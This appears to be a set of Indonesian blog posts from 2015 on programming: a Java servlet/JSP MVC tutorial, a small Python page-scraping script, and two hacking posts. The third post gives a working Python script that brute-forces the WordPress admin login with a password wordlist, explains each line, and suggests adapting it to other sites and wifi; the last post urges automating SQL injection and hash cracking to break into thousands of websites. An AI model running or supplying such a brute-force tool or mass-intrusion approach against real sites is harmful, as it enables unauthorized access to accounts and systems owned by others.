Cara mudah belajar pemrograman komputer

Kamis, 19 November 2015

Membuat website dengan java

Sobat programmer goblog.
Kali ini berdasarkan beberapa pertanyaan seputar website menggunakan teknologi java maka pada tulisan ini penulis menyempatkan untuk memberikan pengantar pemrograman javaEE untuk membuat web atau web application berbasis java.

Seperti yang kita ketahui bahwa java terdiri dari j2se (Java 2 standard edition) java untuk pemrograman desktop; j2me (java 2 micro edition) atau java untuk perangkat mobile dan embedded device; dan j2ee (java 2  Enterprise Edition)
Kalau belajar java core pasti semua sudah mendapatkan materi di kampus atau sekolah masing masing, dan kalau membuat web dengan php pasti sudah umum dijumpai. Maka kali ini kita akan sedikit berkenalan dengan javaEE dan membuat website menggunakan teknologi ini.

Hal hal yang pertama dibutuhkan untuk belajar membuat website dinamis menggunakan java adalah JDK tentunya, kemudian dibutuhkan juga IDE dan web server untuk java. untuk JDK sobat bisa download secara gratis di website oracle java disini 
Kemudian untuk IDE bisa menggunakan eclipse for javaEE disini 
dan untuk server kita bisa menggunakan apache tomcat 7, bisa di download atau menggunakan yang telah terintegrasi dengan eclipse, pada tutorial kita ini akan menggunakan tomcat bawaan eclipse.

Sebelum lanjut ke tutorialnya penulis akan sedikit menyinggung soal metode yang akan kita gunakan. Pada tutorial ini penulis menggunakan metode MVC atau model view control karena memang penulis lebih nyaman dengan metode ini. Untuk penjelasan singkat tentang MVC ini sobat bisa membacanya disini 

Baiklah kita lanjut ke tutorial.
Pertama kita download dan install Java Development Kit (JDK)
Kemudian download dan extract eclipse for javaEE dan jalankan eclipse.

Pada jendela eclipse yang telah terbuka.
Pilih menu File -> New -> dynamic web project
input nama projectnya, kemudian click finish.





Selanjutnya pada kolom project explorer didalam java resource, klik kanan pada folder src dan pilih new package, kemudian pada jendela yang keluar ketikkan nama package dan click fisnish.



Selanjutnya pada package yang kita buat tadi kita buat satu class java untuk controller kita.
klik kanan pada package tersebut kemudian pilih new->class
Pada jendela yang muncul ketik nama classnya kemudian hilangkan centang pada bagian which method.....



kemudian click finish.
Kita biarkan dulu file tersebut.
Masih pada package yang sama kita buat satu file servlet yang akan menjadi controller kita.
Klik kanan pada package tersebut, pilih new->servlet Beri nama kemudian klik finish.




Selanjutnya kita akan membuat view yang akan menampilkan website kita, klik kanan pada folder WebContent pilih new -> Jsp File




Setelah ketiga file tersebut terbuat kita akan mulai coding..



Oke, untuk tutorial ini kita akan mencoba untuk menampilkan nama dan alamat orang.
Kita mulai dari class Model1 yang kita buat tadi.
Kita buat variable private untuk nama dan alamat.
Kemudian kita buat juga method untuk setter dan getter kedua variable tersebut.



Selanjutnya pada file controller kita, kita akan membuat script untuk menangani aksi pada website yang akan kita buat.
Pada file tersebut telah ada dua method doGet dan doPost.
Kita dapat menggunakan yang mana saja, namun pada tutorial ini kita akan menggunakan doPost, sebab kita akan membuat form input dengan metode post.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.programmergoblog.belajarjavaweb;

public class Model1 {
 private String nama="";
 private String alamat="";
 
 
 public String getNama() {
  return nama;
 }
 public void setNama(String nama) {
  this.nama = nama;
 }
 public String getAlamat() {
  return alamat;
 }
 public void setAlamat(String alamat) {
  this.alamat = alamat;
 }
 
 
 
}


hapus coding yang sudah ada pada method tersebut dan kita buat method kita sendiri.
pertama kita akan melakukan instansiasi dari class Model1 kedalam object orang.
kemudian kita ambil post dari form jsp (akan kita buat nanti) dan memasukkannya kedalam variable nama dan alamat yang kita buat melalui instansiasi object orang tadi menggunakan method setter.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.programmergoblog.belajarjavaweb;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class Controller1
 */
@WebServlet("/Controller1")
public class Controller1 extends HttpServlet {
 private static final long serialVersionUID = 1L;
       
    /**
     * @see HttpServlet#HttpServlet()
     */
    public Controller1() {
        super();
        // TODO Auto-generated constructor stub
    }

 /**
  * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
  */
 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  Model1 orang = new Model1();
  request.setAttribute("orang", orang);
  getServletContext().getRequestDispatcher("/view1.jsp").forward(request,response);
 }

 /**
  * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
  */
 protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  Model1 orang = new Model1();
  
  String namaDariForm = request.getParameter("nama");
  String alamatDariForm = request.getParameter("alamat");
  
  orang.setNama(namaDariForm);
  orang.setAlamat(alamatDariForm);
  
  request.setAttribute("orang", orang);
  getServletContext().getRequestDispatcher("/view1.jsp").forward(request,response);
  
 }

}


selanjutnya kita forward data tersebut kembali ke file jsp untuk ditampilkan di browser.

pada file view1.jsp kita akan menangani data yang kita peroreh dari controller dan menampilkanya pada halaman browser.
tambahkan baris ini sebulum tag <html>

<jsp:useBean id="orang" scope="request" class="com.programmergoblog.belajarjavaweb.Model1"></jsp:useBean>

selanjutnya pada bagian body html kita akan menampilkan nama dan alamat tadi.

Nama : <jsp:getProperty property="nama" name="orang"/>
<br>
Alamat : <jsp:getProperty property="alamat" name="orang"/>


<form action="Controller1" method="post">
<input type="text" name="nama">
<br>
<input type="text" name="alamat">
<br>
<input type="submit" value="daftar">
</form>



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<jsp:useBean id="orang" scope="request" class="com.programmergoblog.belajarjavaweb.Model1"></jsp:useBean>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Insert title here</title>
</head>
<body>
Nama : <jsp:getProperty property="nama" name="orang"/>
<br>
Alamat : <jsp:getProperty property="alamat" name="orang"/>


<form action="Controller1" method="post">
 <input type="text" name="nama">
 <br>
 <input type="text" name="alamat">
 <br>
 <input type="submit" value="daftar">
</form>


</body>
</html>



Sekarang kita kembali pada file controller1 dan menambahkan srcipt didalam doGet.
Skrip ini diperlukan untuk menangani aksi ketika web dikunjungi pertama kali, karena method post yang kita buat sebelumnya tadi tidak terakses pada saat pertama controller kita diakses dari brower.

tambahkan scrip ini didalam method tersebut,


1
2
3
Model1 orang = new Model1();
  request.setAttribute("orang", orang);
  getServletContext().getRequestDispatcher("/view1.jsp").forward(request,response);




kemudian kita bisa menjalankan program dengan klik menu run pilih run, pada jendela yang muncul klik finish.






Sikahkan isi form dan klik daftar untuk melihat hasil program kita tadi.


Sekian tulisan dari programmerGoBlog kali ini, semoga dapat sedikit menjadi pengantar untuk anda yang ingin belajar pemrograman web menggunakan java.
Apabila ada perbedaan pendapat, kritik, serta saran yang membangun ataupun sekedar ingin bertanya dan request tutorial terkait pemrograman, jangan ragu untuk meninggalkan jejak di kolom komentar.
Terimakasih telah berkunjung.



Selasa, 10 November 2015

Pemrograman sebagai kemampuan untuk mempermudah pekerjaan

Tulisan kali ini hanya dibuat untuk catatan penulis apabila dibutuhkan suatu waktu, namun apabila ada yang memerlukan baik untuk belajar maupun sebagai acuan, maka dipersilahkan untuk mengambil, memodifikasi, dan atau menggunakan tulisan ini.

Tulisan programmer goBlog kali ini dilatarbelakangi oleh proses submission e-journal untuk di index di International Scientific Indexing atau ISIIndexing.
Proses awal submission pada isi indexing adalah kita diwajibkan untuk mengisi form submission di websita isiindexing.com untuk selanjutnya submission akan dievaluasi dan apabila disetujui maka akan diindex sementara di website isi.
Beberapa hari setelah mengisi form submission, penulis dihubungi oleh ISI Indexing yang menyatakan bahwa jurnal yang saya ajukan telah diindex sementara dan diwajibkan menyelesaikan proses submission dengan membayar sejumlah biaya.

Pada tahap ini penulis merasa bingung karena tidak menembukan dimana journal yang penulis usulkan di index, karena menggunakan fasilitas search penulis tidak menemukan hasil.

Kemudian terfikir bahwa mungkin memang tidak bisa di cari menggunakan fasilitas search karena proses submission belum selesai. Namun pada halaman ini http://isindexing.com/isi/journals.php penulis melihat banyak juga jurnal yang belum menyelesaikan proses submission namun telah terindex sementara disana. Penulis kemudian mencoba mencari dari halaman ke halaman apakah FIAT JUSTISIA (nama jurnal yang penulis ajukan untuk di index) ada dalam daftar tersebut atau tidak.
Memperhitungkan banyaknya halaman yang harus penulis cek untuk memastikan keberadaan jurnal ini pada index ISI dan dengan koneksi internet yang lumayan menguras kesabaran, akhirnya penulis memutuskan untuk menulis program yang dapat mencari nama FIAT Justisia di index ISI secara otomatis.
Karena pada saat itu penulis tidak sedang berada di komputer yang biasa penulis gunakan untuk coding, akhirnya diputuskan untuk menggunakan bahasa pemrograman seadanya yang kebetulan sempat penulis install di komputer kantor tersebut.

Menggunakan bahasa pemrograman python, akhirnya dibuatlah script program sebagai berikut.



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

#########################################################################################
#  Program Untuk Menemukan Apakah FIAT JUSTISIA TELAH DIINDEX OLEH isindexing   #
#  Ditulis Oleh : Jaylani Chalax                                                   #
#  Tanggal : 10/11/205                                                             #
#########################################################################################

page = 0;
limit =50;

while page<=1150:
 p = requests.get("http://isindexing.com/isi/journals.php?page="+str(page)+"&limit=50")
 print str(page)
 if "fiat" in p.content:
  print str(page)
  print "ini Fiat"
  break
 else:
  print "ini bukan fiat"

 print p.status_code
 page = page+limit



Script program ini hanya memiliki satu tugas yaitu, buka halaman listing index milik isi dii http://isindexing.com/isi/journals.php kemudian munculkan 50 hasil dan scan apakah terdapat kata "Fiat" pada halaman tersebut, jika ya maka beritahu kami bahwa di halaman tersebut terdapat kata fiat dan hentikan proses pencarian.
Apabila tidak ditemukan pada halaman tersebut maka beritahu kami bahwa tidak ditemukan kata fiat pada 50 list pertama, lantas lanjutkan ke list 50 sampai 100 dengan menaikkan nilai page dari 0 ditambah limit. page=page+limit

Setelah program dijalankan dan mengakses list ke 400-450 maka program akhirya menemukan journal FIAT JUSTISIA ada dalam daftar tersebut.

Nah begitulah kira kira penjelasan program kecil nan sederhana ini, yang akhirnya memudahkan penulis untuk menemukan journal FIAT JUSTISIA telah terindex sementara oleh isi dan dapat melanjutkan proses submission jurnal ke tahap selanjutnya.


Programmer goBlog akhirnya memutuskan untuk menulis latar belakang serta hasil dari permasalahan sederhana ini dan memasukkannya kedalam blog programmerGoBlog selain sebagai pengingat juga dimaksudkan untuk menunjukkan bahwa pemrograman dapat dimanfaatkan untuk menyelesaikan perkara yang menyusahkan dan merepotkan dengan cara yang mudah dan menyenangkan.

Akhirkata apabila ada kritik saran dan atau pertnyaan, jangan ragu untuk meninggalkan jejak pada kolom komentar.

Minggu, 01 November 2015

Script hacking wordpress dengan teknik bruteforce

Halo halo..
Lagi lagi bahasan kita kali ini seputar hacking, tentunya dari sudut pandang programmer..
Kali ini kita akan membahas tentang salah satu teknik hacking yaitu BruteForce dan mengamplikasikan kemampuan programming kita untuk membuat program yang akan kita gunakan untuk menyerang website berbasis wordpress.

Apa sih teknik bruteforce itu? bruteforce merupakan sebuah teknik untuk masuk kedalah sistem (hacking) dengan mencoba semua password dan username yang mungkin, teknik ini bisa kita lakukan dengan mencoba secara manual, tetapi kalau kita seorang programmer, maka kita tulis saja sebuah program untuk melakukan teknik ini secara otomatis.
Nah kali ini kit akan membahas dan membuat program sederhana untuk terknik bruteforce ini yang ditujukan untuk website berbasis cms wordpress.

Program yang akan kita tulis ini menggunakan bahasa pemrograman python, tetapi dengan mengerti alur logikanya maka sobat programmer goBlog bisa membuat ulang program ini dengan bahasa pemrograman apapun yang sobat inginkan.

Okeh beritku script programnya

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# ############################################################################ #
# bruteforce for wordpress                                                     #
# author chalax                                                                #
# ############################################################################ #

import requests
import time


with open ("data.txt", "r") as myfile:
    data=myfile.readlines()

cond = "true"
s=0
while cond:
 z = data[s].rstrip('\n')
 try:

 
  r = requests.post("http://targetsite.net/wp-login.php", data = {"log":"admin","pwd":z})

  if "incorrect" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
   
  elif "empty" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
  elif "login_error" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
  else:
   print r.content
   print "Password ditemukan :"+z

   break
  # time.sleep(1)
  if s%100==0:
   time.sleep(10)
  s=s+1
  except requests.exceptions.RequestException as e:    
  print e


Dan berikut penjelasanya.
Baris pertama dan kedua adalah untuk mengimport librari python yang dibutuhkan
Dua baris berikutnya adalah untuk mengambil daftar password yang akan kita gunakan yang berada didalam file data.txt dan menyimpannya kedalam variable data

baris dari cond = "true"
Set variable cond dengan isi true untuk digunakan sebagai kondisi pada perulangan while.
baris dibawah variable cond adalah variable s dengan ini 0, ini adalah variable untuk menentukan dari baris ke berapa password yang akan dicoba pada file data.txt
Karena file data.txt menyimpan satu password dalam satu baris.

password1
password2
password3
password4
password..dst

selanjutnya perulangan while dilakukan.

z = data[s].rstrip('\n')

Baris ini digunakan untuk menghilangkan kode new line -- \n -- atau karakter enter dari setiap baris password yang kita dapat dari file data.txt dan mey
selanjutnya adalah blcok try and catch, block
try:

except.request.exceptions.RequestException as e:
print e

Block try and catch ini diperlukan agar perulangan tidak terhenti apabila terjadi error seperti koneksi ke server terputus atau website down sementara pada saat percobaan.

r = requests.post("http://targetsite.net/wp-login.php", data = {"log":"admin","pwd":z})
baris ini membuat post request ke halaman login wordpress dan mengirimkan data login berupa username admin dan password dari variable z.

baris berikutnya adalah if dan else dimana apabila hasil dari baris diatas menghasilkan kata "Incorrect" atau "empty" atau "login_error" maka cetak keterangan bahwa login gagal, jika tidak terkandung salah satu dari tiga kata diatas maka kemungkinan percobaan berhasil dan cetak password yang dicoba, kemudian hentikan proses looping while dengan baris break

Baris
if s%100 ==0

baris ini adalah untuk menghentikan sementara proses percobaan setiap 100 kali mencoba, hal ini bertujuan agar website yang sedang kita coba bruteforce tidak down karena terlalu banyak request.

kemudian baris selanjutnya adalah untuk meningkatkan nilai variable s atau dengan kata lain untuk memberitahu perulangan while untuk mencoba baris berikutnya dari file data.txt



Nah kurang lebih begitulah bentuk dari program kita yang sangat sederhana untuk menebak password wordpress. Dengan menggunakan teknik yang sama dan sedikit modifikasi maka program ini dapat digunakan untuk hack password website lain tidak hanya wordpress atau bisa juga untuk hack password wifi, hack wifi id dll dll.
Sedangkan isi dari file data.txt sobat bisa buat sendiri dengan memasukkan semua password yang ingin di coba dengan format satu baris satu password dan menyimpan nya dengan nama data.txt

atau kalau mau download bisa download disini, kurang lebih sekitar 700MB dan milyaran password didalamnya.

Hubungan erat hacking dengan pemrograman


Halo pembaca programmer goBlog baik yang memang pembaca setia maupun yang kesasar dimari dari mbah gugle.
Kali ini programmer goBlog mau sedikit membahas apa sih hubungan antara pemrograman dengan hacking..
Sok jadi keker dulu kita kali ini.
Hacking adalah sebuah kegiatan untuk masuk kedalam sistem seseorang dengan cara yang tidak biasa, baik itu legal maupun illegal. Loh bukanya hacking memang illegal ya? eits tidak semua kegiatan hack meng hack itu illegal di jaman serba teknologi seperti ini justru kegiatan hacking dan para hacker merupakan hal yang sangat diperhitungkan oleh pemegang sistem, bahkan perusahaan besar seperti facebook dan google memberikan hadiah yang besar bagi para hacker yang bisa menemukan celah keamanan pada sistem mereka. Nah, kegiatan hacking yang telah mendapat izin seperti ini adalah jenis hacking yang legal, asal memenuhi kriteria yang ditentukan perusahaan tentunya.

Seperti yang sudah disebutkan diatas bahwa hacking adalah kegiatan yang dilakukan untuk masuk dan mengambil alih sebuah sistem, maka ada beberapa hal yang perlu dilakukan agar dapat berhasil masuk kedalam sistem tersebut.
Hal mutlak pertama kali yang harus dilakukan adalah mengumpulkan informasi sebanyak mungkin mengenai sistem yang akan di hack, cara kerja, sistem autentikasi, pengamanan, platform yang digunakan, apa saja perangkat yang terkait dengan sistem dll dll dll semua informasi yang berkaitan dengan sistem tersebut semakin banyak kita ketahui maka semakin besar kemungkinan kita untuk dapat masuk kedalam sistem tersebut dengan cara yang tidak biasa. Dengan mengatakan "cara yang tidak biasa" yang dimaksud penulis adalah masuk kedalam sistem tanpa melalui prosedur yang ditentukan si pembuat sistem.

Kemudian apabila semua informasi telah terkumpul, maka yang perlu dilakukan selanjutnya adalah mencoba mengerti alur dan cara kerja sistem tersebut. Barulah kita bisa mencari celah bagaimana cara untuk masuk kedalam sistem tersebut.

Nah pada tahap ini kemampuan pemrograman kita mengambil peran, apabila ternyata pada tahapan mengumpulkan semua informasi kita secara beruntung mendapat banyak informasi termasuk tentang bahasa pemrograman yang digunakan dalam sistem tersebut, kita bisa langsung mencoba mencari kelemahan dari bahasa pemrograman tersebut untuk kemudian memanfaatkan kelemahan itu. Dalam beberapa kasus hacker bahkan bisa mendapatkan informasi berupa password dengan memanfaatkan kelamahan sistem seperti contoh SqlInjection. Apabila password yang didapat dari teknik sql injection sudah berupa password plain atau password dalam bentuk asli maka kita tinggal gunakan password tersebut untuk masuk kedalam sistem. Namun apabila password yang tersimpan berupa password yang telah di hash maka kita harus menemukan password asli dengan mengkonversi password tersebut kedalam bentuk password normal, caranya? nah itulah kenapa kita harus bisa pemrgoraman :D .
Hash merupakan teknik untuk menjadikan teks bias menjadi kumpulan karakter yang tidak bisa kita baca dan tidak bisa dikonversi kembali kedalam bentuk semula, jadi yang bisa kita lakukan adalah dengan membuat kembali hash dari teks teks dan mencoba mencocoknya dengan password yang kita dapat dari sistem. Sepertinya sulit, sebab ada milyaran kosa kata yang harus kita cocokan, yah kita tinggal buat programnya, jalankan dan biarkan program bekerja kita tinggal tidur.. :D

Kita baru menggunakan satu teknik hacking yaitu SqlInjection, masih banyak cara dan teknik lain yang bisa dilakukan untuk masuk kedalam sebuah sistem secara tidak biasa.
Kita hanya akan membahas yang berkaitan dengan pemrograman. Katakanlah skenarionya begini, kita kan mencari kelemahan website dari sisi sql injection dan mengumpulkan website website tersebut untuk selanjutnya kita coba hack. Ini bisa dilakukan satu persatu dengan teknik sql injection, namun kalau dari sisi programmer kita bisa melakukan ribuan langkah ini dengan hanya satu klik pada sebuah program. Dengan kemampuan pemrograman yang baik kita bisa membuat sebuah program yang mengerjakan langkah langkah secara otomatis, mulai dari mengumpulkan daftar website yang akan di hack, menguji coba website tersebut memiliki kelemahan dari sisi sql injection atau tidak, mencoba mendapatkan data password dengan memanfaatkan teknik sql injection dan mendecript password apabila ternyata ditemukan dalam bentuk hash. Oleh seorang programmer langkah ini bisa di otomatisasi sehingga memungkinkan untuk meretas ribuan bahkan jutaan website tanpa kita harus meretasnya satu persatu, cukup buat programnya dan jalankan.

Nah itulah sobat, tentang hubungan erat pemrograman dan hacking, so untuk menjadi seorang hacker pemrograman merupakan hal yang juga harus dikuasai, dengan mengatakan ini programmer goBlog tidak mempertimbangkan hacker pada level paling bawah yaitu script kiddies yang bisanya cuma memakai program buatan orang untuk deface website dan mengaku ngaku hacker.. :D .
Apabila ada pertanyaan jangan sungkan untuk meninggalkanya pada kolom komentar dibawah ini.

Popular Posts

Recent Posts

Unordered List

Pages

Kunjungan

Diberdayakan oleh Blogger.